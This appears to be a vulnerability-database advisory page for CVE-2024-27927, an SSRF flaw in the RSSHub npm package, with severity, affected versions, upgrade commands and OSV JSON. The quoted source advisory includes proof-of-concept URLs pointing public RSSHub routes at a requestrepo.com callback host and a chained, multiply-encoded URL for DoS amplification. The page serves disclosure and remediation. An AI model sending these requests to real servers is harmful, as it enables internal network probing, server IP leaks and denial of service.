CVE-2024-27927: Rsshub RSSHub Vulnerable To Server-Side Request Vulnerability

MODERATE
Advisory Identifier: GHSA-3p3p-cgj7-vgw3
CVSS 6.5
CWE-918
Published
Advisory Summary

CVE-2024-27927 is a MODERATE (CVSS 6.5) rsshub vulnerable to server-side request vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Rsshub libraries in the npm ecosystem. The issue involves rsshub vulnerable to server-side request forgery. Remediation is available by upgrading affected packages to version 1.0.0-master.a429472.

CVE-2024-27927 at a Glance

CVE Identifier CVE-2024-27927
GHSA Identifier GHSA-3p3p-cgj7-vgw3
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Rsshub
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2024-27927

To remediate this vulnerability, upgrade all affected Rsshub dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

rsshub fixed: 1.0.0-master.a429472
npm install rsshub@1.0.0-master.a429472
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls rsshub

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2024-27927, inspect your project dependencies using npm:

npm ls rsshub

Analyze the terminal output to locate any version of Rsshub in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.0-master.a429472), your application is affected.

Note: The npm ls rsshub command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Rsshub, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Serveral Server-Side Request Forgery (SSRF) vulnerabilities in RSSHub allow remote attackers to use the server as a proxy to send HTTP GET requests to arbitrary targets and retrieve information in the internal network or conduct Denial-of-Service (DoS) attacks. ### Details #### `/mastodon/acct/:acct/statuses/:only_media?` https://github.com/DIYgod/RSSHub/blob/5928c5db2472e101c2f5c3bafed77a2f72edd40a/lib/routes/mastodon/acct.js#L4-L7 https://github.com/DIYgod/RSSHub/blob/5928c5db2472e101c2f5c3bafed77a2f72edd40a/lib/routes/mastodon/utils.js#L85-L105 #### `/zjol/paper/:id?` https://github.com/DIYgod/RSSHub/blob/172f6cfd2b69ea6affdbdedf61e6dde1671f3796/lib/routes/zjol/paper.js#L7-L13 #### `/m4/:id?/:category*` https://github.com/DIYgod/RSSHub/blob/172f6cfd2b69ea6affdbdedf61e6dde1671f3796/lib/routes/m4/index.js#L10-L14 ### PoC - https://rsshub.app/mastodon/acct/test@a6wt15r2.requestrepo.com%23/statuses - https://rsshub.app/zjol/paper/a6wt15r2.requestrepo.com%23 - https://rsshub.app/m4/a6wt15r2.requestrepo.com%23/test ### Impact The attacker can send malicious requests to a RSSHub server, to make the server send HTTP GET requests to arbitrary destinations and see partial responses. This may lead to: 1. Leak the server IP address, which could be hidden behind a CDN. 2. Retrieve information in the internal network. e.g. which addresses/ports are accessible, the titles and meta descriptions of HTML pages. 3. DoS amplification. The attacker could request the server to download some large files, or chain several SSRF requests in a single attacker request: `https://rsshub.a.com/zjol/paper/rsshub.b.net%2Fzjol%2Fpaper%2Frsshub.a.com%252Fzjol%252Fpaper%252Frsshub.b.net%25252Fzjol%25252Fpaper%25252Frsshub.a.com%2525252Fzjol%2525252Fpaper%2525252Fexample.com%2525252523%25252523%252523%2523%23`.

CVE-2024-27927 Affected Rsshub Versions

1 component(s)
Fixed Versions:
1.0.0-master.a429472
Product / Package Ecosystem Affected Versions Fixed Version
rsshub
npm
< 1.0.0-master.a429472
1.0.0-master.a429472

References

Frequently Asked Questions

What is CVE-2024-27927?
CVE-2024-27927 is a security vulnerability in Rsshub involving RSSHub vulnerable to Server-Side Request Forgery under CWE-918: Server-Side Request Forgery (SSRF).
Which Rsshub versions are affected?
Affected versions include releases prior to 1.0.0-master.a429472 across affected packages: rsshub.
What version fixes CVE-2024-27927?
Upgrading to 1.0.0-master.a429472 (or the latest patched release for your respective branch) resolves the vulnerability.
Is rsshub affected?
Yes, rsshub is affected in releases prior to 1.0.0-master.a429472. Upgrade your dependency to 1.0.0-master.a429472 or later.
What is the CVSS score of CVE-2024-27927?
CVE-2024-27927 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L.
What CWE is associated with CVE-2024-27927?
CVE-2024-27927 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2024-27927?
Run the dependency tree command: 'npm ls rsshub'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3p3p-cgj7-vgw3",
  "modified" : "2024-03-21T18:25:36Z",
  "published" : "2024-03-06T17:03:11Z",
  "aliases" : [ "CVE-2024-27927" ],
  "summary" : "RSSHub vulnerable to Server-Side Request Forgery",
  "details" : "### Summary\n\nServeral Server-Side Request Forgery (SSRF) vulnerabilities in RSSHub allow remote attackers to use the server as a proxy to send HTTP GET requests to arbitrary targets and retrieve information in the internal network or conduct Denial-of-Service (DoS) attacks.\n\n### Details\n\n#### `/mastodon/acct/:acct/statuses/:only_media?`\n\nhttps://github.com/DIYgod/RSSHub/blob/5928c5db2472e101c2f5c3bafed77a2f72edd40a/lib/routes/mastodon/acct.js#L4-L7\n\nhttps://github.com/DIYgod/RSSHub/blob/5928c5db2472e101c2f5c3bafed77a2f72edd40a/lib/routes/mastodon/utils.js#L85-L105\n\n#### `/zjol/paper/:id?`\n\nhttps://github.com/DIYgod/RSSHub/blob/172f6cfd2b69ea6affdbdedf61e6dde1671f3796/lib/routes/zjol/paper.js#L7-L13\n\n#### `/m4/:id?/:category*`\n\nhttps://github.com/DIYgod/RSSHub/blob/172f6cfd2b69ea6affdbdedf61e6dde1671f3796/lib/routes/m4/index.js#L10-L14\n\n### PoC\n\n- https://rsshub.app/mastodon/acct/test@a6wt15r2.requestrepo.com%23/statuses\n- https://rsshub.app/zjol/paper/a6wt15r2.requestrepo.com%23\n- https://rsshub.app/m4/a6wt15r2.requestrepo.com%23/test\n\n### Impact\n\nThe attacker can send malicious requests to a RSSHub server, to make the server send HTTP GET requests to arbitrary destinations and see partial responses. This may lead to:\n\n1. Leak the server IP address, which could be hidden behind a CDN.\n2. Retrieve information in the internal network. e.g. which addresses/ports are accessible, the titles and meta descriptions of HTML pages.\n3. DoS amplification. The attacker could request the server to download some large files, or chain several SSRF requests in a single attacker request: `https://rsshub.a.com/zjol/paper/rsshub.b.net%2Fzjol%2Fpaper%2Frsshub.a.com%252Fzjol%252Fpaper%252Frsshub.b.net%25252Fzjol%25252Fpaper%25252Frsshub.a.com%2525252Fzjol%2525252Fpaper%2525252Fexample.com%2525252523%25252523%252523%2523%23`.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "rsshub"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.0-master.a429472"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/DIYgod/RSSHub/security/advisories/GHSA-3p3p-cgj7-vgw3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-27927"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/DIYgod/RSSHub/commit/a42947231104a9ec3436fc52cedb31740c9a7069"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/DIYgod/RSSHub"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/DIYgod/RSSHub/blob/172f6cfd2b69ea6affdbdedf61e6dde1671f3796/lib/routes/m4/index.js#L10-L14"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/DIYgod/RSSHub/blob/172f6cfd2b69ea6affdbdedf61e6dde1671f3796/lib/routes/zjol/paper.js#L7-L13"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/DIYgod/RSSHub/blob/5928c5db2472e101c2f5c3bafed77a2f72edd40a/lib/routes/mastodon/acct.js#L4-L7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/DIYgod/RSSHub/blob/5928c5db2472e101c2f5c3bafed77a2f72edd40a/lib/routes/mastodon/utils.js#L85-L105"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-03-06T17:03:11Z",
    "nvd_published_at" : "2024-03-21T02:52:21Z"
  }
}